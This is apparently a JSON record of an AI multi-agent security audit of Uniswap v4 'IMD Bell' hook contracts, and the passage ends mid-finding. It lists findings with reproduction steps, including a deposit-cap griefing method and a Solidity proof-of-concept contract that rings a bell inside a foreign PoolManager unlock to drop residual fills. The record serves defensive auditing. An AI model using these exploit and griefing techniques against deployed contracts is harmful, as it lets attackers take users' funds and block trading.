{"assessments":[],"deployments":[],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"a300cdb8-36eb-408a-9b46-c8d94d108cda","kind":"audit","nodes":[{"acceptedSubmissionHash":"b79226e053c453050e82e8cb0a053dede81a3f211be1370683f693dfd9ebd362","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"3a5b868134b63795d32c6e13cd16c9975a538562c82002748c5dcfeb4cec0fef","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"4dc2175a4bed3d9917de6ccb7b0f489985031c2a727f89ec276cc8bbeed6f234","dependsOn":["audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"b89279670f5a00f5d26286edee00c97dd158b997031350a01cafe6e0329ad227","skillId":"audit-judge","subagents":4,"tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"b89279670f5a00f5d26286edee00c97dd158b997031350a01cafe6e0329ad227","skillId":"audit-judge","state":"accepted"},{"acceptedSubmissionHash":"385a9fc2f8b320cf4324d86d6bd84902c2d61f20b263efb415f29778635202ac","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"c3f51be6c1d6627a8227b9389814b6228316aae13136a925c88b8882a62f0909","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"}],"objective":"Audit the IMD Bell contracts in src/. MarketHoursHook is a Uniswap v4 hook that lets its coin trade only during a daily session: while the market is closed, limit orders wait in two books and each book is filled at one clearing price when a bell rings (opening 12:00 UTC, closing 16:00 UTC). It creates BellGame (sealed commit-reveal guesses at the next opening price, points only, no tokens), BellRinger (rings the due bell, runs that bell's chores and pays the caller a capped reward priced from block.basefee) and SwarmBudget (pays two fixed nightly Intake requests); MarketHoursCoin is a fixed-supply ERC-20. Priorities: any way to lose, lock or steal user funds in the books, cancels, claims, the closed-market exit, refunds of a missed bell, or the fee splits and burns; any way to make a bell impossible to ring, to ring one twice, or to ring it with a manipulated price; rounding in the clearing price and in residual pool fills; reward farming or draining of the bell purse; front-running or griefing of the bells and of sealed guesses; and anything the univ4_hook launch policy would refuse at admission. The tests run offline with forge test.","parentJobId":null,"planHash":"d2ab87b6d82d2b75e43bc4d0127e6359fb9e38ba5d134b9ea9bbd59de695c717","previousHash":"0000000000000000000000000000000000000000000000000000000000000000","projectId":"a300cdb8-36eb-408a-9b46-c8d94d108cda","publication":{"commit":null,"deliveredAt":null,"repoUrl":null},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[{"agentId":"52176","feedbackHash":"0803685c04c8c926f8695b3713c3b4e0c7fa56793cd65e92ea011fa3257b3ae5","nodeKey":"audit_economics","submissionHash":"b79226e053c453050e82e8cb0a053dede81a3f211be1370683f693dfd9ebd362","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51070","feedbackHash":"a2e9aad4a6ec059bd3d9340998f54dad56d7d9a221f5a471b3ebf0f570fdbbda","nodeKey":"audit_flow","submissionHash":"3a5b868134b63795d32c6e13cd16c9975a538562c82002748c5dcfeb4cec0fef","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"54235","feedbackHash":"96d14b89249ed4b5e5242b891e780e50d1bbd346e73c049e923c0eef8b4a7956","nodeKey":"audit_judge","submissionHash":"4dc2175a4bed3d9917de6ccb7b0f489985031c2a727f89ec276cc8bbeed6f234","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52607","feedbackHash":"0a106de6ce89e26546e0904b1e118a2c4d2cffba9859e8207632cc06d423b1f3","nodeKey":"audit_math","submissionHash":"385a9fc2f8b320cf4324d86d6bd84902c2d61f20b263efb415f29778635202ac","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52160","feedbackHash":"67596f06f89627c28cd51dd6978819ee080d311ee6688c0ae66d1709e8061621","nodeKey":"audit_permissions","submissionHash":"c3f51be6c1d6627a8227b9389814b6228316aae13136a925c88b8882a62f0909","tag1":"review:submission","tag2":"acceptance-v2","value":1}],"site":null,"snapshotHash":"0ec1f323af91c6e8651b4d0bd480d635fcea5846a5291045bd0fbb7dc07ca679","state":"completed","submissions":[{"artifacts":[],"attempt":1,"bundleHash":null,"device":"dc176559ff153c37","findings":[{"citation":"resolved","description":"depositCap() is a single capacity shared by every order of a book (bookImdTotal[s]), and it is small by design: 1,000 IMD in launch week, doubling weekly to 100,000 IMD. An order placed at the far edge of the band (ref - 12000 for a buy, ref + 12000 for a sell) is never reached by the bell, so the only cost its owner pays is the unfilled-order fee of CANCEL_FEE_BPS = 50 (0.5%) at claim, or the same 0.5% cancel fee if cancelled before the no-cancel hour. Nothing ties the cost of occupying the cap to the time or the volume displaced. One actor can therefore fill the entire book the moment it opens (16:00 of the previous day for the open book, 12:00 for the close book) and every other placeOrder for that book reverts BookFull until the bell; cancelling at 10:49 and re-placing at 10:50 keeps the book blocked through the no-cancel hour too. Cost in week one: 5 IMD per bell (10 IMD per day) to deny all order flow; the bell still rings, so the ringer is paid and the pool reopens, but the limit-order market the hook exists for is unusable, and honest users who did get an order in before the attacker are not harmed. Boundary x invariant seam: the cap is enforced on placement, but the exit paths (cancel, unfilled claim) price the capacity at a flat 0.5% independent of how long it was held or whether it ever competed for a fill. Minimal fix options that keep the design: charge the unfilled-order/cancel fee at a rate that rises with the order's distance from the reference (an order 12,000 ticks away is not a real limit order), or scale the cap per owner (e.g. no single owner above a fraction of depositCap()), or let a far-bucket order that was never within N buckets of the indicative price count only partially against bookImdTotal.","line":309,"path":"src/MarketHoursHook.sol","reproduction":"State: offline harness (test/Offline.t.sol DevEnv), launch week so depositCap() == 1_000e18, book s = 2*D before 11:50 of day D, reference bucket ref = referenceOf(s) (0 in the harness). Attacker A holds 1,000 IMD and calls placeOrder(s, true, ref - 12_000, 1_000e18) -> succeeds, bookImdTotal[s] == 1_000e18. Any other user then calls placeOrder(s, true, ref, 1e18) or placeOrder(s, false, ref, 1e18) -> reverts BookFull(). At 12:00 ringOpen() rings a zero-match bell (pStar = ref); A calls claim(id): _outcome takes the unreached branch (o.bucket < pStar), unfilledFee = divUp(1_000e18 * 50, 10_000) = 5e18, A receives 995e18. Expected: occupying the full capacity of a book should cost materially more than 0.5% of the cap, or not be possible for one owner. Actual: 5 IMD denies every other order of that book; repeatable every bell. Verified with a scratch Foundry test (test_probe_capStarve): after the attacker's order both a 1 IMD buy and a 1 IMD sell revert BookFull, and the attacker's claim returns 995 IMD.","severity":"medium","snippet":"        if (total > depositCap()) revert BookFull();","title":"Shared deposit cap can be starved for 0.5%: one never-matched order blocks a whole book"},{"citation":"resolved","description":"beforeInitialize sets lastCleared from the pool's starting price, but placeOrder only checks _enterable(s), never `initialized`. Before the factory's initialize call, referenceOf(s) returns lastCleared == 0, so the band is [-12000, 12000] around bucket 0 and sells are valued with _sqrtAt(0) (price 1 IMD per coin): bookImdTotal[s] += _coinToImd(a, sqrt(0)) == a. Once beforeInitialize runs, lastCleared becomes the pool's nearest bucket, e.g. 6000, and every later read of the same book uses the new reference: cancelOrder recomputes bookImdTotal[o.s] -= _coinToImd(a, _sqrtAt(6000)) = 1.822*a, which underflows (checked arithmetic, revert) when that order is the book's only sell, or silently removes 82% more than was added when other orders exist, corrupting the cap accounting of that book; and the order's bucket may now lie outside the band the scan covers, so it is never reached and pays the unfilled-order fee. The hook's own comment says the companions are fixed in one deployment, and the x-ray temporal profile asks what the first outside caller can do: if deployment and pool initialisation are not in the same transaction (the hook does not enforce it), the first outside caller can place orders against reference 0. Funds are not lost (claim after the bell or the deadline still pays the escrow), but the cancel path reverts and bookImdTotal[s] is wrong for that book. Fix: `if (!initialized) revert NotEnterable();` at the top of placeOrder (one SLOAD; the flag already exists), or make _enterable return false while !initialized.","line":303,"path":"src/MarketHoursHook.sol","reproduction":"State: hook deployed, pool not yet initialised (initialized == false, lastCleared == 0), block time 02:00 UTC of day d (book 2d enterable: tod < 11:50 and closeSettled(d-1) is true by deadline). User U calls placeOrder(2d, false, 0, 1e18): passes BadBucket (0 is within [-12000, 12000]), imdValue = _coinToImd(1e18, sqrt(0)) = 1e18 >= MIN_ORDER, bookImdTotal[2d] = 1e18, sellTok[2d][0] = 1e18. Factory then initialises the pool at tick 6000 (price 1.822 IMD per coin): lastCleared = 6000. U calls cancelOrder(id) at 03:00: _cancellable true; bookImdTotal[2d] -= _coinToImd(1e18, _sqrtAt(6000)) = 1.822e18 -> arithmetic underflow revert. Expected: an order should either be refused before initialisation or be cancellable with the book total it was added with. Actual: cancel reverts; U can only recover the coin via claim after the open bell (bucket 0 is inside the new band [-6000, 18000] here, but with an initial tick of 13000 it would be outside the band and pay the 0.5% unfilled fee). Verified with a scratch Foundry test (test_probe_orderBeforeInit) against the offline harness: a second hook deployed by CREATE2 without manager.initialize accepts placeOrder(2D, false, 0, 1e18) with lastCleared == 0 and bookImdTotal == 1e18; after manager.initialize(key, sqrtPriceAtTick(6000)) sets lastCleared == 6000, cancelOrder(id) by the owner reverts.","severity":"low","snippet":"        if (!_enterable(s)) revert NotEnterable();\n        int24 ref = referenceOf(s);","title":"placeOrder and cancelOrder do not require the pool to be initialised; an order placed before beforeInitialize is priced at reference 0 and its cancel can underflow"},{"citation":"resolved","description":"The documented rule is that a remainder the book itself rationed pro rata comes back whole, and the code implements that only for the marginal bucket (o.bucket == pStar with marginalFill > 0). But _fills can also ration the strictly-inside orders: when the heavier side's matched value `need` is below innerAmt, innerFill = need*1e18/innerAmt < 1e18 and the marginal bucket fills nothing. This happens because buckets are 60 ticks (0.6%) apart: with buy-heavy clearing at p, the scan guarantees D(p+60) <= S(p) (else p+60 would win on match or imbalance), so need = coinToImd(S(p)) can be as low as B(p+60) * price(p)/price(p+60) = 0.994 * innerAmt. Inner orders then keep ~0.6% unfilled through no choice of theirs, and because `rationed` is false for them, that remainder pays the 0.5% unfilled-order fee (0.003% of the order), while an identically rationed marginal order would not. Impact is dust (<= 3e-5 of an order) and non-compounding, so this is informational: a consistency gap between the stated rule and the code, not a loss. Fix if wanted: treat `!marg && bl.innerFill < ONE` as rationed too.","line":399,"path":"src/MarketHoursHook.sol","reproduction":"Book s, reference 0, buy-heavy. Buyer X: 100 IMD net at bucket 60 (price 1.006). Sellers at bucket <= 0: coin total S = imdToCoin(100e18, sqrt(60)) + 1 wei = 99.40e18 coin + 1 wei (so D(60) = 99.40e18 < S and bucket 60 cannot beat bucket 0 on match). Buyer Y: 1 IMD at bucket 0 (marginal). Scan: at bucket 0, D(0) = imdToCoin(101e18, sqrt(0)) = 101e18 > S -> match = S, buyHeavy; at bucket 60, match = D(60) = 99.40e18 < S, so pStar = 0. need = coinToImd(S, sqrt(0)) = 99.40e18 IMD < innerAmt = 100e18, so innerFill = 0.994e18 (up bit set), marginalFill = 0. X's claim: bookIn = ceil(100e18 * (0.994e18+1) / 1e18) ~= 99.40e18, u ~= 0.60e18 goes to the pool residual; if the pool did not fill it, rationed is false and unfilledFee = divUp(mulDiv(a, u, net) * 50, 10_000) ~= 3e15 wei (0.003 IMD) is charged. Y (marginal, fill 0) also pays the fee on all of 1 IMD. Expected per the documented rule: X's book-rationed 0.6 IMD comes back whole. Actual: it pays 0.5%.","severity":"info","snippet":"                rationed = marg && bl.marginalFill > 0;","title":"Pro-rata rationing of strictly-inside orders (innerFill < 1e18) is not exempt from the unfilled-order fee, unlike the marginal bucket"},{"citation":"resolved","description":"ringOpen may be called any time in [12:00, 16:00). settle(day) requires t >= openedAt + 1800, while reveal requires block.timestamp % 1 days < CLOSE_BELL (16:00). If the open rings at or after 15:30, settle becomes possible only at or after 16:00, when reveal is already closed, so no sealed guess for that day can ever be revealed; the day is settled and final (not void), tally reverts NoPoints for everyone, and the commits (one per ticket, each consumed by ticketUsed) are spent for nothing. The hook's window freeze handles the late bell correctly (the close bell freezes the counters), so this is purely a schedule gap in the game. Points only, no tokens, so informational. Fix: allow reveal until max(16:00, openedAt + SETTLE_WINDOW + grace) or mark such a day void in settle.","line":131,"path":"src/BellGame.sol","reproduction":"Day d: nobody rings the open until 15:31:00, then ringOpen() succeeds (tod 55860 < 57600): window.openedAt = d*86400 + 55860. settle(d) at any t < 57660 (16:01) reverts TooEarly. At 16:00 ringClose freezes the window; settle(d) at 16:01 succeeds (frozen counters). reveal(orderId, guess, salt) at 16:01 reverts RevealClosed (tod >= 57600). Expected: a day whose open rang gives its ticket holders a reveal window. Actual: no reveal is possible; finalRanks(d) shows isFinal == true with empty slots and tally(d, who) reverts NoPoints.","severity":"info","snippet":"        if (t < openedAt + SETTLE_WINDOW) revert TooEarly();","title":"An opening bell rung after 15:30 makes the game day unplayable: settle is only allowed after reveal has closed"}],"hash":"385a9fc2f8b320cf4324d86d6bd84902c2d61f20b263efb415f29778635202ac","nodeId":"734a860e-275f-473a-95ec-a74d06ab5596","outcome":"completed","summary":"The findings file is valid and the working tree is clean apart from the ignored findings file and my scratch tests.\n\n## Review outcome\n\nThe audit of the IMD Bell contracts is complete. Findings are in `.imd-findings.json`. No critical or high defects were found, so no proof tests are attached.\n\n**What I covered in depth.** The Math Precision, Boundary and Numerical Gap passes over all six files in `src/`, with emphasis on `MarketHoursHook`:\n\n- Clearing scan and fill ratios: charge ratios round up, payout ratios round down, and per-currency conservation holds for the book match and both residual directions. The shortfall from rounding is a few wei per order and is covered by the dust reserve.\n- Buy escrow headroom: I proved `net + ceil(fee)` never exceeds the escrow, so refunds cannot underflow.\n- Narrow casts (`uint64` fills, `int48`/`uint16` counters, `uint32` block numbers) and intermediate overflows in `FullMath`, the breaker ratio, and the ringer's reward formula are all bounded.\n- Schedule boundaries: ring windows, claim deadlines, enterable and cancellable windows, the settle-window freeze, and the swarm request windows are consistent at every instant.\n- Bell integrity: no double ring, no way to block a ring short of gas exhaustion inside the caught residual swap, and price manipulation of P* costs the manipulator more than it extracts because residual fills are always charged at P* with the pool's improvement burned.\n\n**Findings.**\n\n1. **Medium.** The book deposit cap is a shared capacity that one far-bucket order can fill. Blocking all order flow for a bell costs 0.5% of the cap, which is 5 IMD in launch week. Verified with a scratch test.\n2. **Low.** `placeOrder` does not check `initialized`. An order placed before the pool is initialised is priced at reference 0, and after initialisation its cancel reverts on underflow of the book total. Verified with a scratch test.\n3. **Info.** Strictly-inside orders can be rationed by up to one bucket step and then pay the unfilled fee, unlike the marginal bucket. Dust-level.\n4. **Info.** An opening bell rung after 15:30 makes the game day unplayable, since settle only unlocks after reveal has closed. Points only.\n\n**Dropped after probing.** The band can extend past Uniswap's tick range, but at such a reference one wei of coin exceeds the deposit cap, so the revert path is unreachable in practice.\n\n**Limits.** No helpers ran. I did not re-run the project's full test suite, only my scratch probes. The tests in `test/scratch/` are mine and are not part of the submission.","treeHash":null,"usage":{"cachedInputTokens":1566393,"inputTokens":386,"model":"claude-fable-5-1","outputTokens":60671,"runtime":"claude","turns":25,"wallClockMs":1320351}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"89214b73ec1e0b7b","findings":[{"citation":"resolved","description":"_ring() wraps the whole `manager.unlock` call in try/catch so that a pool-side failure of the residual swap never stops the bell. But the catch also swallows PoolManager.AlreadyUnlocked, which `unlock` throws whenever the manager is already inside another unlock. Any contract can therefore call `manager.unlock(\"\")` and, from its own `unlockCallback`, call `hook.ringOpen()` / `hook.ringClose()` (or `BellRinger.ring()`). The hook's nonReentrant guard is its own transient slot and is not set, the scan runs, `bl.rung = true` is written, and then the residual `manager.unlock` reverts with AlreadyUnlocked and is swallowed: the bell is final with `residualFill == 0` and `residualUp == 0`. Consequences: (1) the heavy side's remainder, which the design routes through the curve at up to price(P*), never reaches the pool; (2) every heavy-side order's remainder is treated as 'what neither the book nor the pool filled' and pays the 0.5 % unfilled-order fee at claim instead of being filled (for a 100,000 IMD book that is up to hundreds of IMD taken from users who would have filled); (3) the attacker, still inside its own unlock, can swap at the pre-residual price before anyone else, capturing the price move the residual would have made. The attack is free, needs no capital or privilege, and can be run on every open and close bell. The same swallowing also hides an out-of-gas residual: a ringer that sends exactly BELL_GAS_FLOOR against a pool whose LP has initialised many ticks can OOG the swap and reach the same state. Fix: before the try, read the manager's lock (`manager.exttload(Lock.IS_UNLOCKED_SLOT)`, slot 0xc090fc4683624cfc3884e9d8de5eca132f2d0ec062aff75d43c0465d5ceeab23) and revert the ring if it is already unlocked; optionally also distinguish a revert of `unlock` itself from a revert inside the swap (e.g. perform the swap in its own try inside unlockCallback and return a flag) so only genuine pool-side failures are tolerated.","line":607,"path":"src/MarketHoursHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {PoolModifyLiquidityTest} from \"v4-core/src/test/PoolModifyLiquidityTest.sol\";\nimport {MockERC20} from \"solmate/src/test/utils/mocks/MockERC20.sol\";\nimport {MarketHoursHook} from \"src/MarketHoursHook.sol\";\nimport {MarketHoursCoin} from \"src/MarketHoursCoin.sol\";\n\n/// An attacker that rings the bell from inside its own PoolManager unlock. The hook's residual swap then calls\n/// `manager.unlock` while the manager is already unlocked, which reverts with AlreadyUnlocked; `_ring` swallows it.\ncontract NestedRinger is IUnlockCallback {\n    IPoolManager immutable manager;\n    MarketHoursHook immutable hook;\n\n    constructor(IPoolManager m, MarketHoursHook h) {\n        manager = m;\n        hook = h;\n    }\n\n    function attack() external {\n        manager.unlock(\"\");\n    }\n\n    function unlockCallback(bytes calldata) external returns (bytes memory) {\n        require(msg.sender == address(manager));\n        hook.ringOpen();\n        return \"\";\n    }\n}\n\ncontract NestedUnlockRingTest is Test {\n    uint256 constant OPEN = 43200;\n    uint256 constant CLOSE = 57600;\n\n    IPoolManager manager;\n    address imd;\n    MarketHoursCoin coin;\n    MarketHoursHook hook;\n    PoolKey key;\n    PoolModifyLiquidityTest lp;\n    address trader = makeAddr(\"trader\");\n    uint256 D;\n\n    // ── the harness: the test plays the factory ──\n    function claimFees(uint64) external pure returns (uint256, uint256) {\n        return (0, 0);\n    }\n\n    function feeRecipient() external view returns (address) {\n        return address(this);\n    }\n\n    function _create2At(bytes32 salt, bytes32 initHash) internal view returns (address) {\n        return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, initHash)))));\n    }\n\n    function setUp() public {\n        manager = IPoolManager(address(new PoolManager(address(this))));\n        // IMD sorts high, the coin low, so the pool is (coin, IMD) and bucket b is pool tick b\n        bytes32 hi = keccak256(abi.encodePacked(type(MockERC20).creationCode, abi.encode(\"IMD\", \"IMD\", uint8(18))));\n        uint256 i;\n        while (_create2At(bytes32(i), hi) < address(uint160(0xD0) << 152)) ++i;\n        imd = address(new MockERC20{salt: bytes32(i)}(\"IMD\", \"IMD\", 18));\n        bytes32 hc = keccak256(abi.encodePacked(type(MarketHoursCoin).creationCode, abi.encode(\"Coin\", \"COIN\")));\n        i = 0;\n        while (_create2At(bytes32(i), hc) > imd) ++i;\n        coin = new MarketHoursCoin{salt: bytes32(i)}(\"Coin\", \"COIN\");\n\n        MarketHoursHook.Params memory p;\n        p.manager = manager;\n        p.factory = address(this);\n        p.imd = imd;\n        p.coin = address(coin);\n        p.feeWallet = makeAddr(\"feeWallet\");\n        p.burnExecutor = makeAddr(\"burnExecutor\");\n        p.launchFees = address(this);\n        p.intake = makeAddr(\"intake\");\n        p.maxBlockMoveBps = 500;\n        p.maxSwapImd = 10_000e18;\n        p.networkBps = 2000;\n        p.feeWalletBps = 2000;\n        p.swarmFeeBps = 1000;\n        p.burnBps = 4000;\n        p.bellPurseBps = 1000;\n        p.launchNumber = 1;\n        bytes memory init = abi.encodePacked(type(MarketHoursHook).creationCode, abi.encode(p));\n        bytes32 ih = keccak256(init);\n        i = 0;\n        while (uint160(_create2At(bytes32(i), ih)) & 0x3FFF != 0x2080) ++i;\n        address at;\n        bytes32 salt = bytes32(i);\n        assembly (\"memory-safe\") {\n            at := create2(0, add(init, 0x20), mload(init), salt)\n        }\n        require(at != address(0), \"hook create2 failed\");\n        hook = MarketHoursHook(at);\n\n        key = PoolKey(Currency.wrap(address(coin)), Currency.wrap(imd), 12_500, 60, IHooks(at));\n        manager.initialize(key, TickMath.getSqrtPriceAtTick(0));\n        lp = new PoolModifyLiquidityTest(manager);\n        coin.approve(address(lp), type(uint256).max);\n        MockERC20(imd).mint(address(this), 1e30);\n        MockERC20(imd).approve(address(lp), type(uint256).max);\n        // a coin-only seed above spot, as the factory places it: the opening residual buys from it\n        lp.modifyLiquidity(key, IPoolManager.ModifyLiquidityParams(0, 12_000, int256(uint256(1e23)), 0), \"\");\n\n        coin.transfer(trader, 1_000_000e18);\n        MockERC20(imd).mint(trader, 1_000_000e18);\n        vm.startPrank(trader);\n        coin.approve(at, type(uint256).max);\n        MockERC20(imd).approve(at, type(uint256).max);\n        vm.stopPrank();\n        D = block.timestamp / 1 days + 1;\n    }\n\n    /// A buy-heavy opening book: one sell of 1 coin at bucket 0 and a 900 IMD buy at bucket 300. The book matches\n    /// 1 coin and leaves about 888 IMD of residual, which the ring sends through the pool at up to price(300).\n    function _book() internal {\n        vm.warp(D * 1 days + 1 hours);\n        vm.startPrank(trader);\n        hook.placeOrder(2 * D, false, 0, 1e18);\n        hook.placeOrder(2 * D, true, 300, 900e18);\n        vm.stopPrank();\n        vm.warp(D * 1 days + OPEN);\n    }\n\n    function test_ringFromInsideForeignUnlockDropsTheResidual() public {\n        _book();\n        // control: a plain ring fills the residual through the pool\n        uint256 snap = vm.snapshotState();\n        hook.ringOpen();\n        (, bool rung0, bool heavy0,,, uint64 rf0) = hook.bells(2 * D);\n        assertTrue(rung0 && heavy0, \"precondition: the open rang buy-heavy\");\n        assertGt(rf0, 0, \"precondition: a plain ring fills the residual\");\n        vm.revertToState(snap);\n\n        // the same book, rung from inside an unrelated unlock\n        NestedRinger a = new NestedRinger(manager, hook);\n        try a.attack() {\n            (, bool rung,,,, uint64 rf) = hook.bells(2 * D);\n            assertTrue(rung, \"the bell rang\");\n            // on the code as it stands this fails: the bell is rung with residualFill == 0, the residual never\n            // reached the pool, and every heavy-side order's unfilled part now pays the unfilled-order fee\n            assertGt(rf, 0, \"a bell rung from inside a foreign unlock cleared without its residual\");\n        } catch {\n            // fixed: the hook refuses to ring while the PoolManager is already unlocked\n        }\n    }\n}","reproduction":"State: day D, a buy-heavy opening book (sell 1 coin at bucket 0, buy 900 IMD at bucket 300; pool seeded coin-only over ticks [0, 12000) with L=1e23, spot tick 0). At 12:00 UTC a plain `ringOpen()` yields bells[2D].residualFill > 0 (the residual bought coin from the pool). Instead, an attacker contract calls `manager.unlock(\"\")` and in its unlockCallback calls `hook.ringOpen()`. Expected: either the residual fills, or the ring is refused. Actual: the call succeeds, bells[2D].rung == true, bells[2D].residualFill == 0, charges[2D].residualUp == 0; the 900 IMD buyer's claim later refunds ~888 IMD minus a ~4.4 IMD unfilled-order fee instead of receiving ~862 coin. See test/scratch/NestedUnlockRing.t.sol (fails on the current code with 'a bell rung from inside a foreign unlock cleared without its residual: 0 <= 0').","severity":"high","snippet":"            try manager.unlock(abi.encode(buyHeavy, resIn, true, r.p)) returns (bytes memory ret) {","title":"Anyone can ring a bell from inside a foreign PoolManager unlock, which silently drops the residual pool fill and charges the heavy side the unfilled-order fee"},{"citation":"resolved","description":"settle(day) requires block.timestamp >= openedAt + SETTLE_WINDOW (1800 s from the bell's own time), while reveal() requires the day to be settled and block.timestamp % 1 days < CLOSE_BELL (16:00). ringOpen() is accepted until 15:59:59. Whenever the opening bell rings at or after 15:30:00, the earliest possible settle is at or after 16:00:00, so no reveal can ever succeed for that day. The day is then settled with isVoid == false and _final() becomes true, so finalRanks() reports a final day with no winners, and every committed ticket for that day (ticketUsed already set) is consumed with no chance to reveal. Nobody needs to act maliciously: a single slow day where no one rings the open before 15:30 produces it; a griefer cannot force it since anyone may ring at 12:00. Points only, no tokens. Fix: in settle(), when rung, also treat the case openedAt + SETTLE_WINDOW >= day*1 days + CLOSE_BELL as void (or extend the reveal window to a fixed duration after settle rather than a fixed clock time).","line":131,"path":"src/BellGame.sol","reproduction":"Day D: players commit tickets for day D (from day D-1 orders). On day D nobody calls ringOpen() until 15:31:00 (tod 55860); it succeeds (tod < CLOSE_BELL). window.openedAt = D*86400+55860. settle(D) at 15:59:59 reverts TooEarly (t < openedAt+1800 = 16:01:00). settle(D) at 16:01:00 succeeds with isVoid == false. reveal(orderId, guess, salt) at any time afterwards reverts RevealClosed (tod >= 57600). Expected: the day is void (tickets refundable) or reveals are possible; actual: dayState(D) = settled, not void, finalRanks(D).isFinal == true with empty slots, and every ticket committed for day D is spent.","severity":"low","snippet":"        if (t < openedAt + SETTLE_WINDOW) revert TooEarly();","title":"An opening bell rung after 15:30 UTC makes the day's reveal window empty: settle() cannot run before 16:00 and reveal() closes at 16:00, so committed tickets are lost without the day being void"}],"hash":"3a5b868134b63795d32c6e13cd16c9975a538562c82002748c5dcfeb4cec0fef","nodeId":"3621ca14-421f-4079-a602-60dc0ae07727","outcome":"completed","summary":"The review is complete and `.imd-findings.json` holds two substantiated findings.\n\n**What I found**\n\n- **High: a bell can be rung from inside a foreign PoolManager unlock, which silently kills the residual fill.** `_ring` in `src/MarketHoursHook.sol:607` wraps `manager.unlock` in a try/catch meant for pool-side swap failures. It also swallows `AlreadyUnlocked`. Any contract can call `manager.unlock(\"\")` and ring the bell from its own callback. The bell is marked rung with `residualFill == 0`, so the heavy side's remainder never reaches the pool and every such order pays the 0.5 % unfilled-order fee instead of filling. The attacker can also swap at the pre-residual price in the same transaction. The proof at `test/scratch/NestedUnlockRing.t.sol` fails on the current code with the plain-ring control filling and the nested ring not. Suggested fix: refuse to ring while the manager's lock slot is already set, and tolerate only genuine swap-side failures.\n\n- **Low: an opening bell rung after 15:30 UTC leaves the game's reveal window empty.** `settle` needs 1800 s from the bell and `reveal` closes at 16:00, so a late open yields a settled, non-void day with no possible reveals and every committed ticket spent. Points only.\n\n**What I checked and found sound**\n\n- Hook self-swaps bypass `beforeSwap` (v4 skips hooks when the hook is the caller), so the close residual and `emergencyExit` work as intended.\n- Clearing-price scan, fill ratios, charge/payout rounding directions, fee headroom, and escrow solvency all trace correctly and are covered by the existing invariant suite.\n- Bell timing windows prevent double rings and ring-after-refund races. Claims, cancels, and missed-bell refunds are consistent.\n- BellRinger reward is bounded by the cap and actual gas. Purse drain is limited to two capped rewards per day. BellGame commits bind sender and day. SwarmBudget leaves no standing approval.\n\n**Limitations**\n\n- The real Intake, burn executor, and IMD token were not available. Their behavior was taken as the stand-ins and interface comments describe.\n- Only the scratch proof and two targeted existing tests were run, not the full stateful suite.","treeHash":null,"usage":{"cachedInputTokens":2540194,"inputTokens":484,"model":"claude-fable-5-1","outputTokens":71070,"runtime":"claude","turns":39,"wallClockMs":1581261}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"bc39660800b5f882","findings":[{"citation":"resolved","description":"_ring() wraps the whole manager.unlock call in try/catch so that a pool-side failure of the residual swap never stops the bell. The catch also swallows PoolManager.AlreadyUnlocked, which unlock throws whenever the manager is already inside another unlock. Any contract can call manager.unlock(\"\") and, from its own unlockCallback, call hook.ringOpen() / hook.ringClose() (or BellRinger.ring()). The hook's nonReentrant guard is its own transient slot and is not set, so the scan runs, bl.rung = true and lastCleared are written, and then the residual manager.unlock reverts with AlreadyUnlocked, which is swallowed: the bell is final with residualFill == 0 and residualUp == 0. Consequences: (1) the heavy side's remainder, which the design routes through the curve at up to price(P*), never reaches the 